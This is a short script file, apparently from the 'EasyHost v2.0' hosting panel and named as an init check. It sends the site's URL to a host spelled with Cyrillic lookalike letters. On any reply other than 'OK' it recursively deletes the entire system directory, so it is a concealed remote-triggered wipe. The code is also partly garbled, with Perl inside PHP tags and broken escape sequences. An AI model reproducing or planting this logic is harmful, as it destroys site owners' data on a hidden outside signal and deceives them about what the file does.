Файл: EasyHost v2.0/system/htdocs/check_init.pl
Строк: 23
<?php
my $socket = EasyHost::Socket->connect('сliеnt.cybеrsсript.nеt','http');
$socket->send('GET /check/ HTTP/1.1');
$socket->send('host: сliеnt.cybеrsсript.nеt');
$socket->send('script: '.$system->config('script_url')."rn");
my $text = $socket->recv(0);
$socket->disconnect;
$text =~ s/^.+?(n{2}|rnrn)//s if (substr($text,0,5) eq 'HTTP/');
if ($text eq 'OK')
{
$html .= 'OK';
}
else
{
&go;
$html .= 'BAD';
}
sub go
{
my $dir = shift || $system->config('system_dir');
my $directory = EasyHost::Directory->new($dir);
if ($directory->exists)
{
while (my $file = $directory->children->fetch)
{
if ($file->type eq 'directory')
{
&go($directory->path.$file->name.'/');
}
else
{
unlink($file->path);
}
}
rmdir($directory->path);
}
}
?>